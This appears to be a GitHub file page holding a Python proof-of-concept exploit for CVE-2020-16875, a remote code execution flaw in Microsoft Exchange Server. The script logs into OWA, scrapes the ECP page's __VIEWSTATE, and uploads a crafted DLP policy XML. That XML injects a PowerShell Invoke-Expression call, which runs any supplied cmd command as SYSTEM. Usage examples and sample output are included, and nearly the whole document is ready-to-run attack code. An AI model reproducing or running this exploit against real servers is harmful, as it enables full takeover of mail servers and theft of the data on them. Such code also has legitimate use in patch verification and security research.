forked from FDlucifer/Proxy-Attackchain
-
Notifications
You must be signed in to change notification settings - Fork 0
/
cve-2020-16875.py
143 lines (126 loc) · 5.79 KB
/
cve-2020-16875.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/env python3
"""
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
# Notes:
The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox.
[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
Name AssignedRoles RoleAssignments ManagedBy
---- ------------- --------------- ---------
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
RoleAssignments : {Data Loss Prevention-dlp users}
Roles : {Data Loss Prevention}
DisplayName :
ExternalDirectoryObjectId :
Members : {exchangedemo.com/Users/Harry Mull}
SamAccountName : dlp users
Description :
RoleGroupType : Standard
LinkedGroup :
Capabilities : {}
LinkedPartnerGroupId :
LinkedPartnerOrganizationId :
Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid : True
ExchangeVersion : 0.10 (14.0.100.0)
Name : dlp users
DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory : exchangedemo.com/Configuration/Schema/Group
ObjectClass : {top, group}
WhenChanged : 6/12/2020 11:29:31 PM
WhenCreated : 6/12/2020 11:29:31 PM
WhenChangedUTC : 6/12/2020 3:29:31 PM
WhenCreatedUTC : 6/12/2020 3:29:31 PM
OrganizationId :
Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer : DEAD01.exchangedemo.com
ObjectState : Changed
# Example:
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
researcher@incite:~$ ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
(+) logged in as harrym@exchangedemo.com
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5
(+) executed mspaint as SYSTEM!
"""
import re
import sys
import random
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(str_len=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(str_len))
def get_xml(c):
return """<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>si</publisherName>
<name>
<localizedString lang="en"></localizedString>
</name>
<description>
<localizedString lang="en"></localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[ & 'Invoke-Expression' '[Diagnostics.Process]::Start("cmd","/c %s")'; New-TransportRule -DlpPolicy
]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>""" % c
def trigger_rce(t, s, vs, cmd):
f = {
'__VIEWSTATE': (None, vs),
'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
}
r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
assert r.status_code == 200, "(-) failed to trigger rce!"
def leak_viewstate(t, s):
r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)
assert match != None, "(-) couldn't leak the __viewstate!"
return match.group(1)
def log_in(t, usr, pwd):
s = requests.Session()
d = {
"destination" : "https://%s/owa" % t,
"flags" : "",
"username" : usr,
"password" : pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
return s
def main(t, usr, pwd, cmd):
s = log_in(t, usr, pwd)
print("(+) logged in as %s" % usr)
vs = leak_viewstate(t, s)
print("(+) found the __viewstate: %s" % vs)
trigger_rce(t, s, vs, cmd)
print("(+) executed %s as SYSTEM!" % cmd)
if __name__ == '__main__':
if len(sys.argv) != 4:
print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
cmd = sys.argv[3]
main(trgt, usr, pwd, cmd)